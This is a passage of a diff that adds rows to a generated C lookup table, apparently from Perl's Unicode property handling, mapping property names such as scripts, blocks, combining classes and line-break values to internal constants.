+  {     3,  7380,  7727,   7,   2, PL_CCC__32 }   /* ccc=ccc32 */,
+  {     0,  7380,  1108,   4,   3, PL_CCC__214 }   /* ccc=ata */,
+  {     4,  8248,     1,   4,   1, PL_BPT__N }   /* bpt=n */,
+  {     4,  1474,   723,  23,   4, PL_BPT__C }   /* bidipairedbrackettype=close */,
+  {     4,  8196,  8735,   4,   3, PL_AGE__5_DOT_1 }   /* age=5.1 */,
+  {    18,  1887,  3223,   9,   2, -PL_XPOSIXLOWER }   /* lowercase=n */,
+  {     7,  5192,   247,   3,   2, PL_IDS }   /* isids */,
+  {     8,  3129,  2044,  17,  11, PL_MTEI }   /* scriptextensions=meeteimayek */,
+  {     0,  6362,     0,  11,   0, PL_SO }   /* othersymbol */,
+  {     3,   974,  8899,  27,   2, PL_CCC__35 }   /* canonicalcombiningclass=ccc35 */,
+  {     2,     1,     0,   1,   0, PL_N }   /* n */,
+  {     0,  6263,  5777,  10,  12, PL_LB__HL }   /* linebreak=hebrewletter */,
+  {     1,  8096,  7604,   4,   4, PL_SIDD }   /* scx=sidd */,
+  {     0,  6890,  7780,   4,   6, PL_INCARIAN }   /* blk=carian */,
+  {     0,  7336,     0,   8,   0, PL_UGAR }   /* ugaritic */,
+  {     9,    76,  7762,   2,   3, PL_NT__DI }   /* nt=di */,
+  {     0,  8240,  3446,   3,   3, PL_BC__RLI }   /* bc=rli */,
+  {     1,  8026,   850,   3,  13, PL_PUA }   /* inprivateusearea */,
+  {     0,  3526,  7997,  17,   2, PL_RI }   /* regionalindicator=y */,
+  {     0,  2859,    45,  18,   6, PL_DT__COM }   /* decompositiontype=compat */,
+  {    14,  8816,  7744,   3,   4, PL_NV__7000 }   /* nv=7000 */,
+  {     0,  1963,  3223,   7,   3, -PL_RADICAL }   /* radical=no */,
+  {     1,   184,  8308,   2,   4, PL_GURU }   /* isguru */,
+  {     1,  8011,   107,   4,   5, PL_S }   /* gc=symbol */,
+  {     6,  2859,  3690,  18,   3, PL_DT__FIN }   /* decompositiontype=fin */,
+  {     2,  6613,  5778,   3,   5, PL_HEBR }   /* ishebrew */,
+  {     0,  8076,     0,   5,   0, PL_PATWS }   /* patws */,
+  {     4,   184,  1982,   3,   7, PL_CYRL }   /* iscyrillic */,
+  {     2,  1417,  8937,   9,   2, PL_ZL }   /* category=zl */,
+  {     0,  2877,     0,  13,   0, PL_DEVANAGARIEXT }   /* devanagariext */,
+  {     5,  2044,     0,  11,   0, PL_MTEI }   /* meeteimayek */,
+  {     0,  7674,     0,   7,   0, PL_UCASEXT }   /* ucasext */,
+  {     9,   184,  7144,   2,   4, PL_BUGI }   /* isbugi */,
+  {    10,  5051,  8256,   5,   4, PL_NFKDQC__N }   /* nfkdqc=no */,
+  {     0,  8096,  7436,   4,   7, PL_ELBA }   /* scx=elbasan */,
+  {     0,  7288,  8444,   7,   4, PL_OLCK }   /* script=olck */,
+  {     3,  6890,   148,   4,  35, PL_DIACRITICALSSUP }   /* blk=combiningdiacriticalmarkssupplement */,
+  {     2,  6890,  8046,   4,   5, PL_INLIMBU }   /* blk=limbu */,
+  {     1,  1417,  6340,   9,  11, PL_LO }   /* category=otherletter */,
+  {     1,  7459,  6989,   3,   9, PL_TALU }   /* sc=newtailue */,
+  {     4,  7288,  4509,   7,  15, PL_SARB }   /* script=oldsoutharabian */,
+  {     1,  8288,  7216,   3,   8, PL_DT__ISO }   /* dt=isolated */,
+  {     1,   184,  7816,   2,   6, PL_GRBASE }   /* isgrbase */,
+  {     0,  7457,  6716,   5,  10, PL_INSC__PUREKILLER }   /* insc=purekiller */,
+  {     2,  1346,  5339,   5,  10, PL_GREEKEXT }   /* ingreekextended */,
+  {     0,  3129,  6439,  17,  11, PL_SYLO }   /* scriptextensions=sylotinagri */,
+  {     3,  7457,  2446,   5,  19, PL_INSC__CONSONANTHEADLETTER }   /* insc=consonantheadletter */,
+  {     2,  4314,  5440,  13,  13, PL_JG__MALAYALAMNNNA }   /* joininggroup=malayalamnnna */,
+  {     0,  4590,  3223,   2,   3, -PL_VS }   /* vs=no */,
+  {     0,  7136,   808,   6,  18, PL_PHONETICEXT }   /* block=phoneticextensions */,
+  {    10,  8096,  8500,   4,   4, PL_SARB }   /* scx=sarb */,
+  {    37,  4599,     0,  15,   0, PL_LU }   /* uppercaseletter */,
+  {     1,  6472,    34,  10,   6, PL_WB__EXTEND }   /* wordbreak=extend */,
+  {     0,  7136,  4509,   6,  15, PL_SARB }   /* block=oldsoutharabian */,
+  {     4,  2967,     0,   8,   0, PL_GEOR }   /* georgian */,
+  {     1,  7136,  2128,   6,   6, PL_YIJING }   /* block=yijing */,
+  {     0,  3129,  7870,  17,   4, PL_LEPC }   /* scriptextensions=lepc */,
+  {     0,  5645,    23,  10,   2, PL_BC__AL }   /* bidiclass=al */,
+  {     0,  1159,  3581,  25,   2, PL_CWKCF }   /* changeswhennfkccasefolded=t */,
+  {     0,  3129,  7870,  17,   6, PL_LEPC }   /* scriptextensions=lepcha */,
+  {     9,  8536,     0,   4,   0, PL_TALU }   /* talu */,
+  {     5,  2369,     0,  20,   1, PL_VO__U }   /* verticalorientation=u */,
+  {     4,   974,  8688,  24,   2, PL_CCC__26 }   /* canonicalcombiningclass=26 */,
+  {     0,  5765,  7997,  12,   2, PL_GRBASE }   /* graphemebase=y */,
+  {     4,  8798,  3581,   3,   2, PL_LOE }   /* loe=t */,
+  {     1,  6890,  6005,   4,  12, PL_INOLDHUNGARIAN }   /* blk=oldhungarian */,
+  {     5,  6890,  4104,   4,   8, PL_BAMUMSUP }   /* blk=bamumsup */,
+  {     1,  2108,  7452,   4,   5, PL_INHANUNOO }   /* inhanunoo */,
+  {     0,  8937,     0,   2,   0, PL_ZL }   /* zl */,
+  {     1,  7136,  6029,   6,  12, PL_PHAISTOS }   /* block=phaistosdisc */,
+  {     3,  7288,  5933,   7,  12, PL_GONM }   /* script=masaramgondi */,
+  {     1,  8340,  8392,   3,   4, PL_JG__MEEM }   /* jg=meem */,
+  {     0,  4314,  8131,  13,   5, PL_JG__ZHAIN }   /* joininggroup=zhain */,
+  {     2,  2236,  8932,  10,   1, PL_L_AMP_ }   /* category=l& */,
+  {     2,  7590,     0,   7,   0, PL_SHRD }   /* sharada */,
+  {     2,  7136,  6882,   7,   8, PL_INBHAIKSUKI }   /* block=bhaiksuki */,
+  {     2,  2100,  6363,   3,  10, PL_SO }   /* isothersymbol */,
+  {     1,  7478,  2108,   3,   3, PL_SINH }   /* issinh */,
+  {     0,  5544,  8148,  13,   4, PL_NV__1_SLASH_40 }   /* numericvalue=1/40 */,
+  {     0,  7288,  7061,   7,   9, PL_SAMR }   /* script=samaritan */,
+  {     0,  8096,  8528,   4,   4, PL_SYRC }   /* scx=syrc */,
+  {     1,  6263,   223,  10,   2, PL_LB__PR }   /* linebreak=pr */,
+  {     0,  8572,  3914,   3,   5, PL_WB__XX }   /* wb=other */,
+  {     3,  1797,     0,  14,   0, PL_LM }   /* modifierletter */,
+  {     5,  7457,  7981,   5,   5, PL_INSC__BINDU }   /* insc=bindu */,
+  {     0,  8101,  7768,   5,   6, -PL_STERM }   /* sterm=false */,
+  {    12,  7478,  6757,   3,   9, PL_SD }   /* issoftdotted */,
+  {     0,  3129,  7351,  17,   4, PL_TALE }   /* scriptextensions=tale */,
+  {     3,    42,     0,  36,   0, PL_CJKCOMPATIDEOGRAPHSSUP }   /* cjkcompatibilityideographssupplement */,
+  {     5,  8816,  8703,   3,   2, PL_NV__34 }   /* nv=34 */,
+  {     0,  3526,     0,  17,   0, PL_RI }   /* regionalindicator */,
+  {     1,  7380,  7756,   4,   1, PL_CCC__9 }   /* ccc=9 */,
+  {     0,  1417,   218,   9,   2, PL_PE }   /* category=pe */,
+  {     0,  8121,  3223,   5,   2, -PL_UIDEO }   /* uideo=n */,
+  {     8,   415,  7997,  11,   4, PL_IDEO }   /* ideographic=yes */,
+  {     1,  6890,  1001,   4,  27, PL_ENCLOSEDCJK }   /* blk=enclosedcjklettersandmonths */,
+  {     8,  3129,  8488,  17,   4, PL_RJNG }   /* scriptextensions=rjng */,
+  {     0,  6329,  7096,  11,   3, PL_NT__NU }   /* numerictype=nu */,
+  {     0,  4542,  8117,   3,   4, PL_TAML }   /* istamil */,
+  {     2,   184,  1961,   3,  13, PL_CJKRADICALSSUP }   /* iscjkradicalssup */,
+  {     1,  8196,  8864,   4,   3, PL_AGE__5 }   /* age=v50 */,
+  {    64,    96,  7997,   5,   4, PL_XPOSIXALPHA }   /* alpha=yes */,
+  {    11,  8340,  2437,   3,   3, PL_JG__YEH }   /* jg=yeh */,
+  {     0,  7136,  7858,   6,   6, PL_INKHOJKI }   /* block=khojki */,
+  {     0,  8340,  1353,   4,   2, PL_JG__GAF }   /* jg=gaf */,
+  {     0,  8816,  8762,   3,   3, PL_NV__7_SLASH_8 }   /* nv=7/8 */,
+  {     0,  7288,  7429,   7,   7, PL_DSRT }   /* script=deseret */,
+  {     0,  8816,  8184,   3,   4, PL_NV__5_SLASH_12 }   /* nv=5/12 */,
+  {     0,  6210,  1961,   3,  20, PL_CJKRADICALSSUP }   /* incjkradicalssupplement */,
+  {    15,  1701,  3223,   2,   3, -PL_SD }   /* sd=no */,
+  {     4,  8272,  7997,   4,   4, PL_CWCF }   /* cwcf=yes */,
+  {     0,   974,  8168,  24,   2, PL_CCC__17 }   /* canonicalcombiningclass=17 */,
+  {     0,  7288,  2149,   7,  20, PL_HLUW }   /* script=anatolianhieroglyphs */,
+  {    26,  7288,  8192,   7,   4, PL_SC__ADLM }   /* script=adlm */,
+  {    10,  8376,  3521,   3,   5, PL_LB__SP }   /* lb=space */,
+  {     0,   184,  7200,   2,   8, PL_GURU }   /* isgurmukhi */,
+  {     4,  8011,  8931,   3,   2, PL_L_AMP_ }   /* gc=l& */,
+  {     9,  8096,  5400,   5,   7, PL_BALI }   /* scx=balinese */,
+  {     3,  7459,  5957,   3,   4, PL_MEND }   /* sc=mend */,
+  {     1,  3129,  8220,  17,   4, PL_ARMN }   /* scriptextensions=armn */,
+  {     0,  6890,  5596,   4,  13, PL_VERTICALFORMS }   /* blk=verticalforms */,
+  {     8,  6219,  7768,  11,   2, -PL_JOINC }   /* joincontrol=f */,
+  {     2,  6890,   382,   4,  33, PL_SUPSYMBOLSANDPICTOGRAPHS }   /* blk=supplementalsymbolsandpictographs */,
+  {     1,   974,  7941,  27,   2, PL_CCC__11 }   /* canonicalcombiningclass=ccc11 */,
+  {     0,  7227,    62,   5,   5, PL_POSIXGRAPH }   /* posixgraph */,
+  {     0,  5245,  7768,  13,   6, -PL_POSIXXDIGIT }   /* asciihexdigit=false */,
+  {     0,   184,  6953,   2,   9, PL_LATINEXTD }   /* islatinextd */,
+  {    26,  6329,  7762,  11,   3, PL_NT__DI }   /* numerictype=di */,
+  {     1,  6706,  8873,  10,   3, PL_IN__6 }   /* presentin=v60 */,
+  {     1,  1206,  1813,   3,  14, PL_TRANSPORTANDMAP }   /* intransportandmap */,
+  {    14,  7459,  8236,   3,   4, PL_BATK }   /* sc=batk */,
+  {     0,  5544,  5219,  13,   6, PL_NV__100000 }   /* numericvalue=100000 */,
+  {    10,  2229,  3003,  16,  18, PL_PI }   /* generalcategory=initialpunctuation */,
+  {     7,  7288,  3458,   7,  10, PL_SC__MANI }   /* script=manichaean */,
+  {     0,  8376,  1886,   3,   2, PL_LB__NL }   /* lb=nl */,
+  {     0,  8340,  4911,   3,  14, PL_JG__MANICHAEANAYIN }   /* jg=manichaeanayin */,
+  {     0,  7136,  7394,   6,   7, PL_CJKEXTB }   /* block=cjkextb */,
+  {     0,  8204,  7997,   4,   2, PL_POSIXXDIGIT }   /* ahex=y */,
+  {     0,  7288,  6626,   7,  10, PL_KHAR }   /* script=kharoshthi */,
+  {     0,  3129,  4104,  17,   4, PL_BAMU }   /* scriptextensions=bamu */,
+  {     5,  7478,  6440,   3,   3, PL_SYLO }   /* issylo */,
+  {     0,  7288,  7034,   7,   4, PL_PALM }   /* script=palm */,
+  {     3,  8011,     7,   3,   1, PL_C }   /* gc=c */,
+  {     0,  7459,  8416,   3,   4, PL_SC__MYMR }   /* sc=mymr */,
+  {    17,  6890,  1234,   4,  24, PL_ARABICPFA }   /* blk=arabicpresentationformsa */,
+  {     1,  8021,  3223,   5,   3, -PL_GREXT }   /* grext=no */,
+  {     1,  7457,  4058,   5,  16, PL_INSC__VOWELINDEPENDENT }   /* insc=vowelindependent */,
+  {     8,  7459,  7810,   3,   4, PL_GOTH }   /* sc=goth */,
+  {     0,  7459,  7312,   3,   8, PL_SC__TAGB }   /* sc=tagbanwa */,
+  {     0,  8196,  8768,   4,   3, PL_AGE__9 }   /* age=9.0 */,
+  {    65,  2065,  7997,  21,   4, PL_NCHAR }   /* noncharactercodepoint=yes */,
+  {     0,  6219,  3581,  11,   2, PL_JOINC }   /* joincontrol=t */,
+  {     7,  2023,     0,  21,   0, PL_LOE }   /* logicalorderexception */,
+  {     2,  5544,  8703,  13,   2, PL_NV__34 }   /* numericvalue=34 */,
+  {     0,  8196,  8612,   4,   3, PL_IN__1_DOT_1 }   /* age=1.1 */,
+  {     0,   117,   448,   3,  17, PL_IDEOGRAPHICSYMBOLS }   /* inideographicsymbols */,
+  {     5,  8096,  5957,   4,   4, PL_MEND }   /* scx=mend */,
+  {     2,  6706,  8735,  10,   3, PL_IN__5_DOT_1 }   /* presentin=5.1 */,
+  {     1,  7459,  7152,   3,   8, PL_SC__DUPL }   /* sc=duployan */,
+  {     0,  3129,  7010,  17,   4, PL_ITAL }   /* scriptextensions=ital */,
+  {     2,  1426,  5205,  22,  14, PL_INSC__VOWELDEPENDENT }   /* indicsyllabiccategory=voweldependent */,
+  {     7,  5544,  7744,  13,   6, PL_NV__700000 }   /* numericvalue=700000 */,
+  {     7,   974,  2590,  24,   2, PL_CCC__1 }   /* canonicalcombiningclass=ov */,
+  {    13,  7224,  2985,   3,   3, PL_XIDS }   /* isxids */,
+  {     0,  3129,  7208,  17,   4, PL_HIRA }   /* scriptextensions=hira */,
+  {     0,   974,  8897,  24,   2, PL_CCC__19 }   /* canonicalcombiningclass=19 */,
+  {     6,  7459,  7336,   3,   8, PL_UGAR }   /* sc=ugaritic */,
+  {     7,  4479,  7373,   5,   7, PL_NFCQC__M }   /* nfkcqc=maybe */,
+  {     0,  1929,  3223,   9,   3, -PL_XPOSIXUPPER }   /* uppercase=no */,
+  {     3,  3129,  7366,  17,   7, PL_BENG }   /* scriptextensions=bengali */,
+  {     0,  7380,  8899,   4,   2, PL_CCC__35 }   /* ccc=35 */,
+  {     0,  4524,     0,  15,   0, PL_PS }   /* openpunctuation */,
+  {     0,  5957,     0,  12,   0, PL_MEND }   /* mendekikakui */,
+  {     0,  8340,  7961,   3,   5, PL_JG__ALAPH }   /* jg=alaph */,
+  {     0,  3037,     0,   3,   0, PL_ALL }   /* all */,
+  {     0,   974,  8633,  24,   3, PL_CCC__103 }   /* canonicalcombiningclass=103 */,
+  {     0,  1566,     0,   6,   0, PL_HANG }   /* hangul */,
+  {     2,  6472,   698,  10,   2, PL_WB__MN }   /* wordbreak=mn */,
+  {     2,  3129,  6696,  17,  10, PL_PHNX }   /* scriptextensions=phoenician */,
+  {     7,   974,  8639,  27,   3, PL_CCC__118 }   /* canonicalcombiningclass=ccc118 */,
+  {     0,  6484,  3581,  10,   2, PL_IDC }   /* idcontinue=t */,
+  {    39,  4010,     0,  16,   0, PL_TANGUTCOMPONENTS }   /* tangutcomponents */,
+  {     2,  8376,  4897,   3,  14, PL_LB__BK }   /* lb=mandatorybreak */,
+  {     2,  7136,  7312,   6,   8, PL_INTAGBANWA }   /* block=tagbanwa */,
+  {     0,  5245,     0,  13,   0, PL_POSIXXDIGIT }   /* asciihexdigit */,
+  {     4,  4554,    69,  14,   2, PL_SB__UP }   /* sentencebreak=up */,
+  {     0,  2229,   112,  16,   2, PL_SC }   /* generalcategory=sc */,
+  {     0,  3129,  6439,  17,   4, PL_SYLO }   /* scriptextensions=sylo */,
+  {     2,   184,  6806,   2,   4, PL_WARA }   /* iswara */,
+  {     0,  5375,  6165,  13,  10, PL_JT__D }   /* joiningtype=dualjoining */,
+  {     3,   250,     0,  33,   0, PL_DIACRITICALSEXT }   /* combiningdiacriticalmarksextended */,
+  {     4,   184,  5645,   2,   5, PL_BIDIC }   /* isbidic */,
+  {     4,  8340,  6526,   3,  10, PL_JG__AFRICANQAF }   /* jg=africanqaf */,
+  {     3,  2088,     0,   2,   0, PL_PD }   /* pd */,
+  {     1,  8336,  7662,   4,   5, PL_INTIRHUTA }   /* intirhuta */,
+  {     0,  6890,  3147,   4,  18, PL_TAIXUANJING }   /* blk=taixuanjingsymbols */,
+  {     3,  7894,  7951,   6,   5, PL_PATSYN }   /* patsyn=true */,
+  {    41,  1448,  3562,   4,  15, PL_SUTTONSIGNWRITING }   /* insuttonsignwriting */,
+  {     6,  6890,   808,   4,  11, PL_PHONETICEXT }   /* blk=phoneticext */,
+  {     2,   184,  2044,   2,  21, PL_MEETEIMAYEKEXT }   /* ismeeteimayekextensions */,
+  {     0,  7660,     0,   7,   0, PL_TIRH }   /* tirhuta */,
+  {    13,  6647,  3290,   4,  15, PL_AGHB }   /* iscaucasianalbanian */,
+  {     1,  6890,  1691,   4,  11, PL_NUMBERFORMS }   /* blk=numberforms */,
+  {     0,  2229,  5135,  16,  14, PL_ZS }   /* generalcategory=spaceseparator */,
+  {     2,   184,  2484,   2,   4, PL_EGYP }   /* isegyp */,
+  {     1,  4314,  5492,  13,  13, PL_JG__MANICHAEANTAW }   /* joininggroup=manichaeantaw */,
+  {     0,  7136,  4419,   6,  15, PL_MISCPICTOGRAPHS }   /* block=miscpictographs */,
+  {     1,  1918,  7768,  21,   2, -PL_CWU }   /* changeswhenuppercased=f */,
+  {     0,  3129,  6736,  17,  10, PL_SAUR }   /* scriptextensions=saurashtra */,
+  {     4,  7380,   226,   4,   2, PL_CCC__BL }   /* ccc=bl */,
+  {     2,  2229,     7,  16,   1, PL_C }   /* generalcategory=c */,
+  {     1,  7288,  7882,   7,   4, PL_LYDI }   /* script=lydi */,
+  {     0,  8508,  7883,   4,   3, PL_LYDI }   /* sc=lydi */,
+  {    54,  8096,  8260,   4,   4, PL_CAKM }   /* scx=cakm */,
+  {     1,  7457,  1520,   5,  23, PL_INSC__CONSONANTPRECEDINGREPHA }   /* insc=consonantprecedingrepha */,
+  {    18,  6373,     0,  11,   0, PL_HMNG }   /* pahawhhmong */,
+  {     0,  8340,  3802,   3,  16, PL_JG__MANICHAEANLAMEDH }   /* jg=manichaeanlamedh */,
+  {    24,  8240,    16,   3,   1, PL_BC__B }   /* bc=b */,
+  {     0,  7288,  7918,   7,   6, PL_SC__THAA }   /* script=thaana */,
+  {     5,  6890,  4855,   4,  14, PL_LATINEXTC }   /* blk=latinextendedc */,
+  {     0,  2108,  4800,   3,  13, PL_HIGHSURROGATES }   /* inhighsurrogates */,
+  {     5,   513,  7768,  16,   6, -PL_UIDEO }   /* unifiedideograph=false */,
+  {     7,   361,     0,  21,   0, PL_MATHOPERATORS }   /* mathematicaloperators */,
+  {     1,  8096,  8066,   4,   5, PL_ORYA }   /* scx=oriya */,
+  {     2,   974,  6131,  24,  11, PL_CCC__DA }   /* canonicalcombiningclass=doubleabove */,
+  {     1,  7288,  8448,   7,   4, PL_ORKH }   /* script=orkh */,
+  {     6,  7288,  7351,   7,   4, PL_SC__TALE }   /* script=tale */,
+  {     8,  3509,  7997,  17,   4, PL_PATWS }   /* patternwhitespace=yes */,
+  {     1,  7459,  2004,   5,  19, PL_PRTI }   /* sc=inscriptionalparthian */,
+  {     0,  4402,   284,   3,  32, PL_MISCMATHSYMBOLSA }   /* inmiscellaneousmathematicalsymbolsa */,
+  {    64,  7120,     0,   8,   0, PL_BALI }   /* balinese */,
+  {     1,  3129,  8440,  17,   4, PL_OGAM }   /* scriptextensions=ogam */,
+  {    12,  7288,  8408,   7,   4, PL_MRO }   /* script=mroo */,
+  {     0,  7858,     0,   6,   0, PL_KHOJ }   /* khojki */,
+  {     2,  1701,  7768,   2,   6, -PL_SD }   /* sd=false */,
+  {     4,  3129,  7061,  17,   9, PL_SAMR }   /* scriptextensions=samaritan */,
+  {     1,  4402,  2637,   3,   8, PL_INMONGOLIAN }   /* inmongolian */,
+  {     1,  7288,  8604,   7,   4, PL_SC__ZYYY }   /* script=zyyy */,
+  {     4,  4923,  5827,   4,  10, PL_MAHJONG }   /* inmahjongtiles */,
+  {     1,   184,  5657,   2,   5, PL_BIDIM }   /* isbidim */,
+  {     0,    11,  7997,   2,   2, PL_DI }   /* di=y */,
+  {     1,  1417,  3084,   9,   9, PL_Z }   /* category=separator */,
+  {    10,  2229,  1621,  16,   6, PL_CF }   /* generalcategory=format */,
+  {     4,  2465,     0,  11,   0, PL_COUNTINGROD }   /* countingrod */,
+  {     0,  7136,  4813,   6,  14, PL_KANASUP }   /* block=kanasupplement */,
+  {     6,  2249,     0,  20,   0, PL_GLAGOLITICSUP }   /* glagoliticsupplement */,
+  {     3,  2229,    47,  16,   1, PL_M }   /* generalcategory=m */,
+  {     0,  8096,  8580,   4,   4, PL_XPEO }   /* scx=xpeo */,
+  {     4,  8376,  4673,   3,  14, PL_LB__CR }   /* lb=carriagereturn */,
+  {     0,  8340,  8131,   3,   5, PL_JG__ZHAIN }   /* jg=zhain */,
+  {    21,  8572,  3526,   3,  17, PL_RI }   /* wb=regionalindicator */,
+  {     0,  5192,   358,   3,   3, PL_ITAL }   /* isital */,
+  {     6,  8096,  8296,   4,   4, PL_GONM }   /* scx=gonm */,
+  {     0,  8240,    24,   3,   1, PL_BC__L }   /* bc=l */,
+  {     0,  5645,  5621,  10,  12, PL_BC__AL }   /* bidiclass=arabicletter */,
+  {     0,  7232,     0,   8,   0, PL_JAMOEXTA }   /* jamoexta */,
+  {     0,  6406,     0,   4,   0, PL_SORA }   /* sora */,
+  {    10,   184,  2503,   2,  19, PL_ENCLOSEDALPHANUMSUP }   /* isenclosedalphanumsup */,
+  {     0,  7136,  1108,   7,   4, PL_INBATAK }   /* block=batak */,
+  {     0,  3129,  4134,  17,   4, PL_BRAI }   /* scriptextensions=brai */,
+  {    15,  6890,  7152,   4,   8, PL_INDUPLOYAN }   /* blk=duployan */,
+  {     0,   184,  3357,   3,  16, PL_CYRILLICEXTC }   /* iscyrillicextendedc */,
+  {     0,  8096,  7016,   4,   9, PL_PERM }   /* scx=oldpermic */,
+  {     0,  5544,  8171,  13,   2, PL_NV__23 }   /* numericvalue=23 */,
+  {     1,  4542,  1909,   3,   4, PL_LT }   /* istitle */,
+  {     4,  8816,  5219,   3,   2, PL_NV__10 }   /* nv=10 */,
+  {     2,  2229,  8263,  16,   2, PL_MC }   /* generalcategory=mc */,
+  {     8,   184,  7192,   2,   8, PL_GUJR }   /* isgujarati */,
+  {    11,  5375,  6656,  12,  10, PL_JT__U }   /* joiningtype=nonjoining */,
+  {     1,  7689,   698,   4,   2, PL_ARMN }   /* isarmn */,
+  {     1,  8096,    57,   4,   2, PL_YI }   /* scx=yi */,
+  {     0,  6890,  2503,   4,  19, PL_ENCLOSEDALPHANUMSUP }   /* blk=enclosedalphanumsup */,
+  {     5,  5583,  3581,  13,   2, PL_QMARK }   /* quotationmark=t */,
+  {     1,  8196,  7744,   4,   1, PL_AGE__7 }   /* age=7 */,
+  {     3,  7994,  7769,   4,   5, -PL_IDC }   /* idc=false */,
+  {     4,  3521,  7768,   5,   2, -PL_XPOSIXSPACE }   /* space=f */,
+  {    14,  8288,  3003,   3,   7, PL_DT__INIT }   /* dt=initial */,
+  {     2,  7288,  6414,   8,   3, PL_SC__BENG }   /* script=beng */,
+  {     0,  6646,     0,  10,   0, PL_MISCARROWS }   /* miscarrows */,
+  {     0,  8572,  6153,   3,  11, PL_WB__DQ }   /* wb=doublequote */,
+  {     0,  8376,  7280,   3,   8, PL_LB__NL }   /* lb=nextline */,
+  {     7,  6890,  4010,   4,  16, PL_TANGUTCOMPONENTS }   /* blk=tangutcomponents */,
+  {     1,  8096,  7780,   4,   6, PL_CARI }   /* scx=carian */,
+  {     0,  8096,  7320,   4,   8, PL_TFNG }   /* scx=tifinagh */,
+  {     5,  2100,  4496,   4,  13, PL_NARB }   /* isoldnortharabian */,
+  {    16,  5645,   435,  10,   2, PL_BC__ON }   /* bidiclass=on */,
+  {     0,   186,  3223,   2,   3, -PL_CE }   /* ce=no */,
+  {     1,  3129,  7128,  17,   4, PL_BASS }   /* scriptextensions=bass */,
+  {     0,   184,  1497,   2,  14, PL_BYZANTINEMUSIC }   /* isbyzantinemusic */,
+  {     4,  6890,   836,   4,  28, PL_SUPPUAA }   /* blk=supplementaryprivateuseareaa */,
+  {     0,  8240,  3930,   3,  16, PL_BC__S }   /* bc=segmentseparator */,
+  {     0,  1746,   852,  21,   1, PL_GCB__V }   /* graphemeclusterbreak=v */,
+  {     0,  2636,     0,   4,   0, PL_MONG }   /* mong */,
+  {    13,  2236,     0,  10,   1, PL_LU }   /* category=lu */,
+  {     1,  8340,  4344,   3,  15, PL_JG__MANICHAEANALEPH }   /* jg=manichaeanaleph */,
+  {     3,    84,     0,   4,   0, PL_MATH }   /* math */,
+  {     6,  1963,  3223,   7,   2, -PL_RADICAL }   /* radical=n */,
+  {     9,   184,  1797,   2,  14, PL_LM }   /* ismodifierletter */,
+  {     0,  1540,     0,   4,   0, PL_PHAG }   /* phag */,
+  {     1,  8504,   112,   3,   2, PL_SB__SC }   /* sb=sc */,
+  {     4,  8096,  1107,   4,   8, PL_KANA }   /* scx=katakana */,
+  {     0,  7894,  7997,   6,   2, PL_PATSYN }   /* patsyn=y */,
+  {     1,  3129,  8452,  17,   4, PL_ORYA }   /* scriptextensions=orya */,
+  {    15,  7136,  4827,   6,   6, PL_KANGXI }   /* block=kangxi */,
+  {     0,  6890,  1589,   4,   9, PL_LATINEXTE }   /* blk=latinexte */,
+  {     1,  7136,   113,   6,  25, PL_DIACRITICALS }   /* block=combiningdiacriticalmarks */,
+  {     4,  6210,    43,   3,  15, PL_CJKCOMPAT }   /* incjkcompatibility */,
+  {     0,   184,  6307,   2,  11, PL_MYANMAREXTA }   /* ismyanmarexta */,
+  {     2,  1929,  3581,   9,   2, PL_XPOSIXUPPER }   /* uppercase=t */,
+  {     3,  8816,  5219,   3,   4, PL_NV__1000 }   /* nv=1000 */,
+  {     3,  8240,  8825,   3,   3, PL_BC__PDF }   /* bc=pdf */,
+  {     0,  5583,  7768,  13,   2, -PL_QMARK }   /* quotationmark=f */,
+  {     4,  2541,     0,  19,   0, PL_JAMOEXTA }   /* hanguljamoextendeda */,
+  {     0,  4074,  6486,  15,   8, PL__PERL_CHARNAME_CONTINUE }   /* _perl_charname_continue */,
+  {    33,  7798,  7768,   6,   6, -PL_COMPEX }   /* compex=false */,
+  {     0,  1886,     0,   2,   0, PL_NL }   /* nl */,
+  {     2,  2859,  8831,  18,   3, PL_DT__SML }   /* decompositiontype=sml */,
+  {     9,   249,  2777,   5,   5, PL_CCC__A }   /* _combabove */,
+  {     6,  8196,  7756,   4,   1, PL_AGE__9 }   /* age=9 */,
+  {     5,  4590,  7768,   2,   2, -PL_VS }   /* vs=f */,
+  {     0,  8096,  7312,   4,   4, PL_TAGB }   /* scx=tagb */,
+  {     0,  7288,  8492,   7,   4, PL_RUNR }   /* script=runr */,
+  {     6,  7136,  8106,   6,   5, PL_INTAILE }   /* block=taile */,
+  {    10,  7136,   750,   6,  29, PL_ENCLOSEDIDEOGRAPHICSUP }   /* block=enclosedideographicsupplement */,
+  {     1,  6890,   283,   4,  33, PL_MISCMATHSYMBOLSA }   /* blk=miscellaneousmathematicalsymbolsa */,
+  {     0,  6263,  5753,  10,   4, PL_LB__GL }   /* linebreak=glue */,
+  {     1,  8096,  8324,   4,   4, PL_HMNG }   /* scx=hmng */,
+  {     1,  7288,  8304,   7,   4, PL_SC__GUJR }   /* script=gujr */,
+  {     0,  2465,     0,  19,   0, PL_COUNTINGROD }   /* countingrodnumerals */,
+  {     1,  8006,  7997,   5,   2, PL_CWKCF }   /* cwkcf=y */,
+  {     2,  1929,  7768,   9,   2, -PL_XPOSIXUPPER }   /* uppercase=f */,
+  {     0,  6586,     0,  10,   0, PL_CJKSTROKES }   /* cjkstrokes */,
+  {     0,  8096,  2409,   5,   5, PL_BRAH }   /* scx=brahmi */,
+  {     2,  8504,    34,   3,   2, PL_SB__EX }   /* sb=ex */,
+  {     3,  1981,     0,  11,   0, PL_CYRILLICSUP }   /* cyrillicsup */,
+  {     0,  8344,    18,   3,   1, PL_JT__R }   /* jt=r */,
+  {     0,  4542,  8107,   3,   4, PL_TALE }   /* istaile */,
+  {    20,  8344,  6656,   3,  10, PL_JT__U }   /* jt=nonjoining */,
+  {     2,  3526,  7951,  17,   5, PL_RI }   /* regionalindicator=true */,
+  {     3,  5657,  7997,   5,   4, PL_BIDIM }   /* bidim=yes */,
+  {     2,  8376,  2440,   3,   2, PL_LB__BA }   /* lb=ba */,
+  {     0,  3129,  8348,  17,   4, PL_KALI }   /* scriptextensions=kali */,
+  {     0,  8016,  4047,   4,   3, PL_LB__H3 }   /* gcb=lvt */,
+  {     0,  1887,  7951,   9,   5, PL_XPOSIXLOWER }   /* lowercase=true */,
+  {     3,  2107,     0,   4,   0, PL_SINH }   /* sinh */,
+  {     9,    21,  1107,   2,  26, PL_KATAKANAEXT }   /* inkatakanaphoneticextensions */,
+  {     2,   184,   114,   3,  24, PL_DIACRITICALS }   /* iscombiningdiacriticalmarks */,
+  {     0,  3237,     0,  10,   0, PL_ALCHEMICAL }   /* alchemical */,
+  {     7,  7459,  6008,   3,   4, PL_HUNG }   /* sc=hung */,
